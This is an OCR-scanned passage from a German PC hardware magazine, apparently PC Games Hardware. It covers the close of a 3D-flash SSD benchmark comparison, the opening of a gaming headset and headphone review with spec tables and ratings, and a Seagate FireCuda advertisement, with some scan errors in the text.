Bemerkungen: Mit einfachem Layouten kommen alle SSDs nahezu gleich gut klar. Obwohl es sich um 
nicht wenige MB handelt, betrágt der Unterschied in der mittleren Dauer nur maximal 16 Prozent. 


Illustrator: Prásentationsvorlage 


Adobe Illustrator ist das vektorbasierte Grafikprogramm der Creative Cloud. Von 
pixelbasierten Grafiken unterscheiden sich vektorisierte insofern, dass die Datei- 
größe nicht unbedingt direkt proportional mit der Bildgröße wächst. Entsprechend 
ist die von PCMark verwendete Ausgangsdatei mit 733 KB relativ klein und die 
Zeichnungen mit Vektorobjekten sind nicht rechen- und speicherintensiv. PCMark 
8 vektorisiert eine Pixelgrafik und versieht sie mit verschiedenen Objekten. Im 
Szenario sind wieder Programmstart, Speichern und PDF-Export inklusive. 


Adobe Illustrator v2 


Samsung SSD 960 Pro (512 GB) 68 70,6 (Basis) 
Crucial BX300 (480 GB) E 71,8 (+2 96) 
Western Digital WD Blue 3D (1.000 GB) Eu 72,3 (+2 96) 
Sandisk Sandisk Ultra 3D (1.000 GB) E 72,3 (+2 96) 
Toshiba OCZ TR200 (480 GB) E 75,0 (+6 96) 
Crucial BX300 (240 GB) | 75,3 (+7 96) 


Sekunden - Besser 


Bemerkungen: Die Grafikbasteleien mit Vektoren zählen zu den eher anspruchsloseren Anwendungen. 
Entsprechend gering fallen die Unterschiede zwischen den SSDs aus. 


MS Excel: Zellteilung 


Der Benchmark öffnet Excel und zwei Dokumente, die aus je vier Tabellenblättern 
bestehen, über 240.800 aktive Zellen verfügen und 4,62 MB bzw. 2,33 MB groß 
sind. Eines dient dabei als Quelldokument, aus dem mehrmals circa 75.000 Zellen 
mit Inhalt in das andere Dokument kopiert werden. Anschließend werden noch 
einmal 15.000 Zellen kopiert, die eine Formelauswertung auslösen. Alles zusam- 
men wird in einer neuen Datei abgespeichert, die 4,18 MB groß ist, über zwei 
Tabellenblätter und über 10.000 aktive Zellen verfügt. 


Microsoft Excel v2 Sekunden Besser 


Samsung SSD 960 Pro (512 GB) EX 9,0 (Basis) 

Crucial BX300 (480 GB) i 9,2 (+2 %) 

Western Digital WD Blue 3D (1.000 GB) Ж 9,2 (+2 90) 
Sandisk Sandisk Ultra 3D (1.000 GB) E 9,2 (+2 96) 
Crucial BX300 (240 GB) Em 9,4 (+4 96) 
Toshiba OCZ TR200 (480 GB) 8 9,4 (+4 96) 


Bemerkungen: Die Zugriffe auf die SSD halten sich im Excel-Szenario in Grenzen. Da also nicht sonderlich 
viel geschrieben wird, sind sowohl absolute Werte als auch Unterschiede zwischen den Modellen sehr klein. 
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After Effects: Video rendern 


Mit der Animationssoftware After Effects, genauer gesagt dem automatischen 
Renderer AERender, simuliert PCMark das Rendern eines Full-HD-Videos mit 30 
Fps. Dabei werden über 890 MB auf die SSD geschrieben, als Ausgangsdatei wird 
eine unkomprimierte Avi-Datei verwendet. Im Gegensatz zu vielen anderen Szena- 
rien sind der Programmstart und das Schließen nicht inklusive, die beiden machen 
oft einen Großteil der Dauer aus. Es handelt sich hier also nur um die reine Dauer 
der Renderberechnung. 


Adobe After Effects v2 
Samsung SSD 960 Pro (512 GB) EX 60,6 (Basis) 

Crucial BX300 (480 GB) E 70,6 (+1 96) 

Western Digital WD Blue 3D (1.000 GB) Em 71,6 (+3 %) 
) 
) 
) 


Sekunden < Besser 


Sandisk Sandisk Ultra 3D (1.000 GB) Em 71,6 (+3 96) 
Toshiba OCZ TR200 (480 GB) | 73,9 (+6 96) 
Crucial BX300 (240 GB) E 74,4 (+7 %) 


Bemerkungen: Die Unterschiede sind nahezu vernachlässigbar gering, sodass keine SSD-Klasse für das 
Video Rendering besonders hervorsticht. 


MS Word: Textverarbeitung 


PCMark 8 verwendet ein 77-seitiges Word-Dokument mit einer GróBe von 3,25 
MB inklusive fünf Bildern. Der Benchmark nimmt eine Reihe von Bearbeitungen 
vor, indem unterschiedlich groBe Passagen im Text kopiert und an anderer Stelle 
eingefügt werden. Mehrmals zwischendurch abgespeichert, ist das Dokument 138 
Seiten lang, verfügt über 10 Bilder und ist 57 MB огоВ. Die Messung beinhaltet 
auch den Programmstart mit mehreren Fenstern. Es handelt sich also um eine eher 
aufwendige Textverarbeitung. 


Microsoft Word v2 


Samsung SSD 960 Pro (512 GB) 668 27,8 (Basis) 
Crucial BX300 (480 GB) | 28,2 (+1 96) 
Western Digital WD Blue 3D (1.000 GB) i 28,7 (+3 96) 
Sandisk Sandisk Ultra 3D (1.000 GB) Eu 28,7 (+3 96) 
Crucial BX300 (240 GB) | 29,8 (+7 96) 
Toshiba OCZ TR200 (480 GB) | 30,4 (+9 96) 


Sekunden - Besser 


Bemerkungen: Prozentual sind zwar einige Unterschiede festzustellen, die absolute Dauer der Befehlsket- 
te ist recht gering, sodass die wenigen Sekunden Unterschied kaum ins Gewicht fallen. 


Powerpoint: Bildprásentation 


Die Befehlskette des Powerpoint-Benchmarks beinhaltet eine Reihe von Überarbei- 
tungen einer bilderreichen Powerpoint-Prásentation. Das Dokument verfügt über 
15 Folien, 12 Bilder und ist 27,1 MB groß. Zunächst wird mit kurzer Verzögerung 
zwischen allen Folien durchgeschaltet. AnschlieBend werden eine Animation 
zwischen den Folien hinzugefügt, Text eingefügt und die Bilder herunterskaliert. 
Programmstart, Speichern und PDF-Export wieder inklusive — Letzteres schreibt 
eine 2,83 MB große Datei. 


Microsoft PowerPoint v2 Sekunden < Besser 


Samsung SSD 960 Pro (512 GB) EX 8,9 (Basis) 
Crucial BX300 (480 GB) Eu 9,2 (+3 96) 
Western Digital WD Blue 3D (1.000 GB) EX 9,2 (+3 90) 
Sandisk Sandisk Ultra 3D (1.000 GB) =a 9,2 (+3 96) 
Toshiba OCZ TR200 (480 GB) Ew 9,4 (+6 96) 
Crucial BX300 (240 GB) Ee 9,5 (+7 96) 


Bemerkungen: Das Powerpoint-Szenario beweist einmal mehr, dass für Office-Aufgaben an der SSD 
gespart werden kann. Teurere Modelle bieten hier kaum einen Leistungsvorteil. 


www.pcgameshardware.de 


Test: 3D-Flash-SSDs | INFRASTRUKTUR 


512 GB 


500 GB 


480 GB 


3D-FLASH-SSDs 


Auszug aus Testtabelle 
mit xx Wertungskriterien 


Produktinfo/-name 
Modellbezeichnung 


SSD 960 Pro 
MZ-V6P512BW 


SAMSUNG 


SSD 850 Evo 
MZ7LN500 


BX300 
CT480BX30055D1 


Hersteller/Webseite 


Samsung samsung.com 


Samsung (samsung.com/ssd) 


Crucial crucial.de 


PCGH-Preisvergleich 


www.pcgh.de/preis/1511186 


www.pcgh.de/preis/1194263 


www.pcgh.de/preis/1680272 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 288,-/ausreichend 


Ca. € 155,-/befriedigend 


Ca. € 160,-/befriedigend 


Preis pro GiByte € 0,6/GiB € 0,33/GiB € 0,34/GiB 
MTBF/Haltbarkeit 1.500.000 Stunden/800 TB TB 1.500.000 Stunden/150 TB 160 TB 
Firmware Testmuster 1B6QCXP7 EMTO1B6Q - 


SSD-Controller 


Samsung Polaris 


Samsung MGX 


Silicon Motion SM2258XT 


Eigenschaften (20 %) 


1,11 


1,64 


Flash-Chips Samsung V-NAND (MLC, 48 Lagen) Samsung V-NAND (TLC, 48 Lagen) 3D-MLC 

DRAM-Cache 1 GB LPDDR3 512 MiB LPDDR2 256 MB 

Ausstattung (20 %) 2,20 2,72 2,72 

Formatierte Kapazität (GiByte) 476,94 GiByte 465,76 GiByte 465,76 GiByte 
Herstellergarantie 5 Jahre 5 Jahre 3 Jahre 
Zubehör/Besonderheiten SSD Magigian/NVMe-Treiber SSD-Magician 4.5, Data Migration 2.7, Anleitung 9-mm-Adapter, SSD Tool 


1,83 


AS SSD (seq. Lesen, seq. Schreiben) |2438 MB/s, 1237 MB/s 514 MB/s, 502 MB/s 506 MB/s, 478 MB/s 
Schnittstelle 4x PCI -Express 3.0 SATA 6 GBit/s SATA 6 GBit/s 
NAND-Typ 3D-MLC (48 Lagen) 3D-TLC (48 Lagen) 3D-MLC (32 Lagen) 
Format M.2 7 mm 7 mm 


Leistungsaufnahme Leerlauf/Lesen/ 
Schreiben 


Leistung (60 %) 


0,1/1,5/2,0 Watt 


© Niedriger Stromverbrauch 
© Teuer 


Wertung: 1,52 


0,1/2,2/2,2 Watt 


1,62 


© Gutes Preis-Leistungsverháltnis 


© Lange Garantie 
© Kein Zubehör 


Wertung: 1,85 


0,3/2,0/3,0 Watt 


1,78 


© Haltbarer MLC-Speicher 
© Gute Leistung 
© Recht hoher Stromverbrauch 


Wertung: 1,98 


240 GB 


1.000 GB 


1.000 GB 


480 GB 


3D-FLASH-SSDs 


Auszug aus Testtabelle 
mit xx Wertungskriterien 


Produktinfo/-name 


Modellbezeichnung 


BX300 
CT240BX30055D1 


Sandisk Ultra 3D 
SDSSDH3-1T00-G25 


WD Blue 3D 
WDS100T280 


OCZ TR200 
THN-TR2024800U8 


Hersteller/Webseite 


Crucial crucial.de 


Sandisk sandisk.com 


Western Digital wdc.com 


Toshiba toshiba.com 


PCGH-Preisvergleich 


www.pcgh.de/preis/1680271 


www.pcgh.de/preis/1649846 


www.pcgh.de/preis/1661213 


Noch nicht gelistet 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 95,-/ausreichend 


Ca. € 305,-/befriedigend 


Ca. € 305,-/befriedigend 


Ca. € 160,-/befriedigend 


Preis pro GiByte € 0,42/GiB € 0,32/GiB € 0,32/GiB € 0,34/GiB 
MTBF/Haltbarkeit 80 TB 1.750.000 Stunden/400 TB 1.750.000 Stunden/400 TB 1.500.000 Stunden/120 TB 
Firmware Testmuster š = X61130WD SBFA12.0 
SSD-Controller Silicon Motion SM2258XT Marvell 88551074 Marvell 88551074 Toshiba 

Flash-Chips 3D-MLC 3D-TLC 3D-TLC 3D-TLC 

DRAM-Cache 256 MB - - - 

Ausstattung (20 %) 2,77 2,69 2,69 2,96 

Formatierte Kapazität (GiByte) 223,57 GiByte 953,87 GiByte 953,87 GiByte 465,76 GiByte 
Herstellergarantie 3 Jahre 3 Jahre 3 Jahre 3 Jahre 
Zubehör/Besonderheiten 9-mm-Adapter, SSD Tool SSD Tool SSD Tool SSD Tool, Pickup-Return-Garantie 
Eigenschaften (20 %) 1,83 2,11 2,11 2,10 

AS SSD (seq. Lesen, seq. Schreiben) |523 MB/s, 480 MB/s 507 MB/s, 469 MB/s 492 МВ/<, 461 MB/s 487 MB/s, 449 MB/s 
Schnittstelle SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s SATA 6 GBit/s 

NAND-Typ 3D-MLC (32 Lagen) 3D-TLC (64 Lagen) 3D-TLC (64 Lagen) 3D-TLC (64 Lagen) 
Format 7 mm 7 mm 7 mm 7 mm 


Leistungsaufnahme Leerlauf/Lesen/ 
Schreiben 


Leistung (60 %) 


FAZIT 
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0,3/2,0/3,0 Watt 


1,90 

© Haltbarer MLC-Speicher 

© 9-mm-Adapter 

© Recht hoher Stromverbrauch 


Wertung: 2,06 


0,5/2,0/1,8 Watt 


2,06 


© Geringer Stromverbrauch 
© Niedriger Preis pro GB 
© Kein Zubehör 


Wertung: 2,19 


0,5/2,0/1,8 Watt 


2,09 


© Geringer Stromverbrauch 
© Niedriger Preis pro GB 
© Kein Zubehör 


Wertung: 2,21 


0,5/2,0/1,5 Watt 


3,10 


© Geringer Stromverbrauch 
© Pickup-Return-Garantie 
© Relativ schwache Leistung 


Wertung: 2,87 
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| INFRASTRUKTUR | Headsets & Kopfhörer 


Zweierlei Oh 


Wir haben in diesem 
Vergleichstest eine 
bunte Mischung aus 
Spieler-Headsets und 
Hifi-Kopfhörern zusam- 
mengetragen - von 
günstig bis edel. 
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NN 


s gibt in dieser Ausgabe gleich 

doppelt auf die Ohren: Wir 
präsentieren Ihnen eine Selektion 
von sechs Spieler-Headsets, ange- 
fangen beim knapp 50 Euro güns- 
tigen Stereo-Gerät in Form des 
Logitech G231 Prodigy, über diver- 
se Mittelklassegeräte, bis hin zum 
per Bluetooth angebundenen Sur- 
round-Gerät in Form des Steelse- 
ries Siberia 840. Doch damit nicht 
genug, neben den Headsets haben 


renschmaus 


wir im zweiten Artikelteil vier sehr 
unterschiedliche Kopfhörer un- 
tergebracht. Auch hier haben wir 
versucht, ein möglichst breites In- 
teresse abzudecken. Außerdem bli- 
cken wir dieses Mal ein wenig über 
den Tellerrand und nehmen neben 
den günstigen, wohlklingenden 
Hörern Fostex T20RP und Yamaha 
HPH-MT5 zwei weitere Geräte der 
gehobenen Klasse mit in den Test 
auf. Der Fostex TH610 ist ein sehr 


edler Hifi-Kopfhórer, der Ultrasone 
Signature Studio ein extrem detail- 
lierter Studiokopfhórer, der diese 
Bezeichnung auch wirklich ver- 
dient. Neben diesen sehr kostspie- 
ligen Geräten finden Sie außerdem 
zwei weitere, sehr ansprechende 
und gut klingende Allround-Kopf- 
hörer im Testfeld. Wir beginnen 
mit den Headsets, schließlich sind 
diese die wohl meistgenutze Klang- 
quelle am PC. 
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Headsets & Kopfhórer | INFRASTRUKTUR | 


aming-Headsets haben bei Au- 

dio-Fans einen cher schlech- 
ten Ruf. Und ез ist auch weiterhin 
korrekt, dass Hifi-Kopfhörer zu- 
mindest tendenziell mehr Sound 
für's Geld bieten - selbst der güns- 
tige Yamaha HPH-MT5 (siehe Kopf- 
hörer-Vergleich) schlägt qualitativ 
jedes in diesem Artikel getestete 
Headset - doch hat sich in den ver- 
gangenen Jahren in Sachen Audio- 
qualität viel getan. 
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für den Preis ordentlicher Sound. 
Logitech konnte uns schon mit dem 
günstigen Funkheadset G533 klang- 
lich und aus Preis-Leistungssicht 
überzeugen. Mit dem G231 bietet 
der Hersteller nun für unter 50 Euro 
ein Einsteigergerät an, welches 
ebenfalls eine für den Preis gute 
Audioqualität liefert. Der Sound 
des geschlossenen Spieler-Headsets 
ist moderat basslastig abgestimmt, 


ohne dabei umliegende Frequen- 
zen deutlich im Mitleidenschaft 
zu ziehen oder gar zu überdecken. 
Im Vergleich zu einigen anderen 
Headsets ist das G231 noch auf der 
ausgewogenen Seite. Auch die Geg- 
nerortung funktioniert ordentlich, 
auch wenn die Detailabbildung 
nicht übermäßig hoch ist und die 
Präzision etwas zu wünschen üb- 
rig lässt. Das Mikrofon funktioniert 
ebenfalls gut genug, um sich damit 


in Spiel oder Chat verständlich zu 
machen, auch wenn die Stimmauf- 
zeichnung etwas flach und kratzig 
wirkt. Die Funktionalität des G231 
ist also gegeben. 


Der Komfort geht ebenfalls in 
Ordnung, auch wenn Sie eher kei- 
ne wohlige Wonnigkeit erwarten 
sollten. Die weichen Polster pas- 
sen sich gut der Kopfform an und 
verteilen das Gewicht ordentlich, 
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INFRASTRUKTUR | Headsets & Корїһбгег 


Die günstige und empfehlenswerte Void-Reihe wurde mit den Pro-Modellen verbes- 
sert. Das getestete Void Pro RGB Wireless ist das kabellose Topmodell. 


Auch das Steelseries Siberia 840 kommt ohne Kabel daher und ist eine Überarbeitung 
des Siberia 800 — nun kënnen Sie das Headset auch mobil per Bluetooth befeuern. 


J 


Fnatic bietet in Zusammenarbeit mit dem dänischen Audiospezialisten AIAIAI ein kom- 
plett modulares Gaming-Headset an - leider auch mit typischer Gaming-Abstimmung. 
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doch sitzt das Headset eher etwas 
wackelig auf dem Kopf, dazu ist der 
Kunststoffbezug ein wenig kratzig. 
Immerhin lässt das Material eine ge- 
wisse Luftzirkulation zu, sodass die 
Ohren unter dem ganzen Plastik 
nicht zu arg ins Schwitzen kommen. 


Das billig wirkende und wenig Ver- 
trauen in die Stabilität erweckende 
Plastik ist dann auch unser größter 
Kritikpunkt beim Logitech G231. 
Niemals fühlt man sich als Träger 
wirklich wohl, stets ist man in Be- 
rührung mit dem einen oder an- 
deren, optisch wie haptisch wenig 
anprechenden Kunststoffteil. Dazu 
schlackern und klappern die wenig 
solide wirkenden Hórer in ihren 
noch weniger haltbar anmutenden 
Aufhängungen - nicht schön. Und 
selbst bei dem günstigen Preis ist 
die Kritik berechtigt: Andere Her- 
steller schaffen es, für einen ähn- 
lich niedrigen Preis eine deutlich 
höherwertige Fertigung zu liefern. 
Wer nicht deutlich mehr als 50 
Euro für ein Headset ausgeben will, 
kann sich das Logitech G231 Pro- 
digy einmal ansehen, technisch ist 
das Produkt solide. Sie sollten sich 
aber bewusst sein, das Sie anders- 
wo mehr materiellen Gegenwert 
für Ihr Geld bekommen. 


Fnatic Dual TMA-2: Modulares De- 
sign, gutes Mikro, viel Bass. Die 
insbesondere im E-Sport- und Mer- 
chandise-Bereich tätige Firma Fna- 
tic hat in Zusammenarbeit mit den 
dänischen Audiospeziallisten AIAI- 
AI еіп interessantes Headset entwi- 
ckelt. Das Dual TMA-2 ist komplett 
modular aufgebaut, praktisch sämt- 
liche Teile können gewechselt wer- 
den. Außerdem kann das Gerät je 
nach Vorlieben oder Einsatzzweck 
umgebaut werden. Je nachdem 
welche Polster Sie nutzen, ist das 
Dual entweder ohraufliegend oder 
ohrumschließend. Das Mikrofon 
lässt sich ebenfalls abnehmen und 
das Headset so durch ein zweites, 
kürzeres Kabel in einen Kopfhö- 
rer für den mobilen Gebrauch um- 
funktionieren. 


Die kleinen ohraufliegenden Pols- 
ter sind nur begrenzt komfortabel, 
die großzügig mit Memory-Foam 
gefütterten und mit anschmieg- 
umhüllten, 
ohrumschließenden Polster sind 
deutlich bequemer. Sie begünsti- 
gen allerdings auch warme Ohren. 


samem Kunstleder 


Trotzdem sitzt das Dual TMA-2 
auch über Stunden bequem. Letz- 
teres liegt auch an dem Fliegenge- 
wicht von nur rund 220 Gramm 
und dem großzügigen Einsatz von 
Kunststoffen. 


Materialien und Fertigung wirken 
allerdings um Längen hochwer- 
tiger als beispielsweise beim Lo- 
gitech G231, zudem ist das modula- 
re Headset nicht klapprig, sondern 
flexibel. Dieser Umstand dürfte 
auch der Haltbarkeit zugute kom- 
men - natürlich können Sie auch 
einzelne Ersatzteile nachkaufen, 
falls diese zu Bruch gehen, doch 
sind diese recht teuer und ob sie 
auch längerfristig vorrätig sein 
werden, erscheint ungewiss. 


Laut Fnatic ist das Dual TMA-2 
auf kompetitives Gaming ausge- 
legt und für beliebte Esport Titel 
wie Counterstrike und DOTA 2 
optimiert worden. An dieser Stel- 
le müssen wir kundtun, dass wir 
nicht der Meinung sind, dass Sie 
mit dem Dual TMA-2 einen spiele- 
rischen Vorteil durch den Sound 
und dessen Abmischung erwarten 
sollten. Tatsáchlich ist das Headset 
von Dual das am stárksten klangver- 
färbende Gerät in diesem Testfeld 
und kommt mit einer typischen 
und recht kräftigen „Gaming- 
Abstimmung“ daher. Der Tiefton 
sticht massiv aus dem Klangbild 
heraus, die kráftige Betonung setzt 
sich zudem auf bis in die unteren 
Mitten fort, verfettet das gesamte 
Klangbild und schluckt. Das ist 
kontraproduktiv bei der Ortung 
und Detailabbildung, eine solche 
Abstimmung ist für kompetitives 
Gaming eher nicht geeignet, der 
Tiefton ist für die Ortung praktisch 
komplett nutzlos. Einen deutlich 
besseren Eindruck macht das Mik- 
rofon. Dieses zeichnet die Stimme 
ohne störende Nebengeräusch gut 
verständlich und sauber auf - das 
passt schon besser zum Esport- 
Fokus. Für 150 Euro ist das Fnatic 
Dual TMA-2 relativ teuer, und es 
gibt eine Vielzahl besserer Geräte 
für einen ähnlichen Preis. Wenn 
Sie jedoch eher basslastigen Sound 
mögen, ein geringes Gewicht schät- 
zen und das Dual TMA-2 eventuell 
auch für den mobilen Gebrauch als 
On-Ear-Kopfhörer nutzen wollen, 
sowie dem Mikrofon einen hohen 
Stellenwert einräumen, ist die An- 
schaffung eine Überlegung wert. 
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Roccat Khan Pro: Schickes Spie- 
ler-Headset mit gutem Klang. 
Das Khan Pro ist jüngst er- 
schienen und ein neuerliches 
Engagement des Herstellers, 
im Headsetmarkt Fuß zu fassen. 
Das Khan Pro gehört mit rund 
90 Euro zu den Mittelklasse- 
Headsets und ausgerechnet 
in dieser Klasse tummeln sich 
sehr viele gut klingende Gerä- 
te, beispielsweise das ebenfalls 
in diesem Test vertretene Crea- 
tive-Headset H7 Tournament 
Edition oder das kabellose Cor- 
sair Void Pro RGB. Roccat preist 
das Khan Pro mit einem ,High- 
Res Audio“-Logo als besonders 
gut klingend an, wobei wir an 
dieser Stelle darauf hinweisen 
müssen, dass für diese ,Aus- 
zeichnung“ einzig der Umstand 
erfüllt werden muss, dass das 
Gerät 96 Hz bei 16 Bit wieder- 
geben kann - dies würde im 
Grund auch auf jedes andere 
Analog-Headset zutreffen. 


Klanglich ist das Khan Pro aber 
dennoch gefällig und das bis- 
lang beste Roccat-Headset. Der 
Bass ist Gaming-typisch betont, 


allerdings nicht in dem Maße, 
dass umliegende Frequenzen in 
Mitleidenschaft gezogen wer- 
den oder das Klangbild allzu 
schwammig oder träge wirkt. 
Tatsächlich ist die Klangqualität 


erfreulich und unterhaltsam, 
das Khan Pro bildet genügend 
Details ab, um auch etwas feine- 
re Geräusche hören zu können, 
die Ortung und Tiefenstaffe- 
lung ist ebenfalls ordentlich. 


Mehr als ordentlich ist das De- 
sign, die Materialanmutung und 
die sehr saubere Verarbeitung 
des Headsets. Zwar kommt 
viel Kunststoff zum Einsatz, 
doch macht dieser optisch wie 
haptisch einen sehr guten Ein- 
druck. Das Khan Pro ist zudem 
mit nur 240 Gramm sehr leicht 
und sitzt dank der angenehmen 
Polsterung auch nach vielen 
Stunden sehr bequem. Die Kon- 
kurrenz in der Preisklasse ist 
stark, das Khan Pro muss sich 
aber nicht verstecken. 


Void Pro RGB Wireless: Verbes- 
sert, bequem und ohne Kabel. 
Corsair bietet mit der Void- 
Reihe schon seit geraumer Zeit 
bequeme und günstige Spieler- 
Headsets, die nun mit der Pro- 
Versionen eine größere Über- 
arbeitung erhalten haben. Es 
stehen drei Varianten zur Ver- 
fügung, wir testen das per Funk 
verbundene Topmodell. Über- 
arbeitet wurden unter anderem 
die Polster, die nun deutlich 
weicher und luftiger ausfallen 
sowie die klangliche Abstim- 


FIRECUDA 


FÜR MAXIMALE 
GESCHWINDIGKEIT & KAPAZITÄT 


Überlegene Leistung. 
Unermüdliche Wiederstandsfähigkeit. 


FireCuda"-Festplatten vereinen die aktuelle 
NAND-Flash-Technologie mit einer traditionellen 
Festplatte für eine perfekte Mischung aus 
großer Speicherkapazität und bis zu 
fünfmal höherer Geschwindigkeit als 
bei herkömmlichen Festplatten. 


Bestens geeignet für: 
Desktop-PCs, Gaming-PCs und 
Hochleistungs-Workstations 


Das Logitech G231 Prodigy klingt trotz des geringen Preis gut, ist bequem 
und hat ein funktionales Mikrofon, setzt jedoch auf reichlich Kunststoff. 


WWW.SEAGATE.COM 
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mung. Das Void Pro RGB Wireless 
klingt gegenüber dem Vorgänger 
aufgeweckter, präziser und etwas 
detaillierter, was insbesondere auf 
die nun eher in den Hintergrund 
getretene Tieftonwiedergabe zu- 
rückfällt. Der Bass ist straff und 
recht präzise, allerdings lässt das 
Void Pro ein wenig satten Punch 
vermissen. Dazu sind die Höhen 
wie bei den Vorgängern ein wenig 
verhangen, was zu einem etwas trä- 
gen, gemütlichen Klangbild führt. 
Das Void Pro ist eher kein detailver- 
sessener Spielkamerad, wohl aber 
ein praktischer. Und dies fällt na- 
türlich auf die ungebundene Frei- 
heit zurück, welche die 2,4-Ghz- 
Funkverbindung ermöglicht. Ein 
USB-Dongle übernimmt die Verbin- 
dung mit dem PC, die angegebene 


Reichweite von 12 Metern konnten 
wir gar relativ deutlich überschrei- 
ten. Außerdem stehen via Corsair 
Utility Engine rudimentäre Sound- 
karten-Funktionen samt Dolby 
Surround, Equalizer und Bassboost 
zur Verfügung. Wer mag, kann au- 
ßerdem die RGB-Beleuchtung kon- 
figurieren, mit einer Corsair-RGB- 
Tastatur kombinieren oder das 
blinkende Logo abschalten. 


Ganz neu ist zudem das Mikrofon, 
welches beim Vorgänger Kritik 
aufgrund des zu kurzen Halses und 
eher mäßiger Qualität einstecken 
musste. Nun lässt sich das leider 
immer noch etwas wackelig wir- 
kende Mikro deutlich besser vor 
dem Mund platzieren, die Aufnah- 
me klingt deutlich natürlicher. 
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HEADSETS 


Auszug aus Testtabelle 


Siberia 840 


Hersteller 


Steelseries (https://steelseries.com) 


Creative Sound Blaster X H7 TE: 
Viel Headset für's Geld. Das Sound 
Blaster X H7 stellt sich wie zuvor 
das H5 nun in Form der überar- 
beiteten Tournament Edition un- 
serem Test. Die Verbesserungen 
betreffen die Treiber und deren 
Abstimmung, sowie das Mikrofon, 
welches nun eine wesentlich bes- 
sere Aufnahmequalität bietet. Das 
H7 TE kommt gegenüber dem klei- 
neren Bruder aus gleichem Hause 
mit einer USB-Soundkarte daher. 
Diese bietet prinzipiell alle Fea- 
tures, über welche auch Creatives 
hauseigene USB-Soundkarte G1 
verfügt, der Aufpreis gegenüber 
dem H5 TE beträgt rund 25 Euro, 
die von Creative empfohlene G1 
kostet etwa 30 - der USB-Aufpreis 
wirkt fair. 


PREIS-LEISTUNGS-TIPP 


Steelseries 
Siberia 840 


Hardware 


Sound Blaster X H7 TE 


Creative (http://de.creative.com/) 


Die zusätzlichen Features um- 
fassen die Unterstützung für 
7.1-Surround-Sound samt SBX- 
Virtualisierung, den Scout-Modus, 
mehrere Klangprofile, einen sehr 
guten Equalizer, sowie Mikrofon- 
Verbesserung inklusive optionaler 
Stimmmodulation. Ein Großteil 
dieser Features lässt sich umfang- 
reich konfigurieren. 


Der Sound des H7 TE fällt gegen- 
über der sehr neutralen Non-TE- 
Version etwas unterhaltsamer aus, 
der Bass ist nun etwas präsenter 
und gefällt mit sattem, doch präzi- 
sen Punch. Die Mitten sind erfreu- 
lich sauber, die leicht betonten 
Höhen erlauben einen sehr detail- 
lierten Klang und verleihen dem 
Sound etwas mehr Spritzigkeit. Auf 


Creativ 
Sound Blaster X H7 TE 


Hardware 


Void Pro RGB Wireless 


Corsair (www.corsair.com/de-de) 


Preis/Preis-Leistungs-Verhältnis 


ca. € 310 / Ausreichend 


ca. € 100 / Gut 


ca. € 100 / Gut 


PCGH-Preisvergleich 


www.pcgh.de\preis\1499865 


www.pcgh.de\preis\1570408 


www.pcgh.de\preis\1307022 


Art 


Geschlossen, ohrumschließend 


Geschlossen, ohrumschließend 


Geschlossen, ohrumschließend 


anschluss (Headset) 


Gewicht ca. 330 Gramm ca. 290 Gramm ca. 380 Gramm 
Abmessungen Ohrmuschel (HxBxT) |9,5 x 9,5 x 2 cm 10,5 x 85 x 2 cm 10x9x3cm 
Impedanz 32 Ohm 32 Ohm 32 Ohm 
Ausstattung (20 %) 1,27 1,82 1,75 
Anschlüsse U. a.: 2,4 GHz Funk, Toslik-In & Out, USB, Bluetooth; kein Direkt- |USB, 3,5-mm-Klinke (Dreipol, Vierpol) Funk, USB 


Bedienelemente 


U. a.: Tischbox mit vielen Einstellungsmöglichkeiten und OLED-Dis- 
play, Stummschaltung; Chat-Mix 


Kabelfernbedienung mit Lautstärkeregler und Mikrofonstummschal- 
tung sowie Multifunktions-Knopf 


Lautstärkeregler und Mikrofonstummschaltung am Gerät; umfang- 
reiche Software 


Zubehör/Soundkarte Viele Kabel und Adapter; 7.1-Soundchip, Dolby Digital, Dolby Pro | USB-Soundkarte (7.1) mit vielen Features, optionales Klinkenkabel |Funkdongle mit Soundkartenfunktion (7.1); USB-Kabel 
Logic Il (Vierpol, 3,5-mm) 

Eigenschaften (20 %) 1,55 1,72 1,70 

Auffälligkeiten Generell stabil, Gelenke wirken bruchgefährdet; gute Materialien [Robust und flexibel; gute Materialanmutung; LED-Beleuchtung Bügel flexibel, stabile (Aluminium-)Gelenke; konfigurierbare 
aber viel Plastik Beleuchtung 

Ergonomie Mittelschwer, sitzt bequem und stabil; sehr gute Reichweite Angenehm leicht und sehr bequem Relativ schwer, sehr flauschige Polster, sitzt etwas locker aber, 

bequem; sehr gute Reichweite 

Verarbeitung Keine Mángel Keine Mángel Keine Mángel 

Leistung (60 %) 1,64 174 194 

Spiele Kräftiger, etwas schwammiger Tiefbass, saubere Detailabbildung [Sehr ausgewogener Sound mit hoher Detailabbildung und Ráum- | Angenehmer Spiele-Sound mit knackigem, aber zurückhaltendem 
und gute Räumlichkeit lichkeit; knackiger, kräftiger Bass Bass, gute Ortung 

Musik Etwas unsauberer Tief-, aber knackiger Kickbass; leicht verhangene | Dank neutraler Abstimmung und hohem Detailgrad volle Musik- "Recht ausgewogener Sound, gute Musikeignung, doch nicht allzu 
Hóhen; warmes Klangbild; gute Musiktauglichkeit tauglichkeit detailliert 

Filme Kräftiger Tiefbass, angenehmes Klangbild ohne Spitzen; dank Dolby |Detailierter, weiter Sound, sehr gute Stimmverständlichkeit Sehr tiefenlastiger Sound mit guter Stimmverständlichkeit 
Digital Surround-Sound 

Klang Warmes, aber recht ausgeglichenes Klangbild; knackiger Kick-, Detaillierte, ausgewogener Klang mit knackigem Bass und feinen | Recht ausgewogener Klang ohne deutliche Betonungen etwas 
etwas unpräziser Tiefbass; differenzierte Mitten, leicht verhangene [Höhen zurückgenommene Hóhen 
Hóhen 

Pegel Pegelfest bis zur maximalen Lautstárke Pegelfest bis zur maximalen Lautstárke Pegelfest bis zur maximalen Lautstärke 


Stereo-Separation/Surround 


Gute Räumlichkeit; Sehr guter Surround-Sound via Dolby Head- 
phone, Dolby Digital 


7.1-Unterstützung, sehr gute Räumlichkeit, Surround-Features 


Ordentlicher Stereo-Sound und Ortung; Surround-Sound gut 


Aufnahmefunktion Mikrofon 


FAZIT 
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Gute, natürliche Stimmwiedergabe, gute Rauschunterdrückung 


© Bequem und praktisch 
© Sehr guter Klang 


© Sehr teuer, dafür viel Plastik 


Wertung: 1,54. 
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Gutes Mikrofon samt optionaler Softwarefeatures und Stimmmo- 
dulation 

© Sehr guter, kräftiger Sound 

© Flexibel, bequem und leicht 

© (Software-)Features 


Wertung: 1,75 


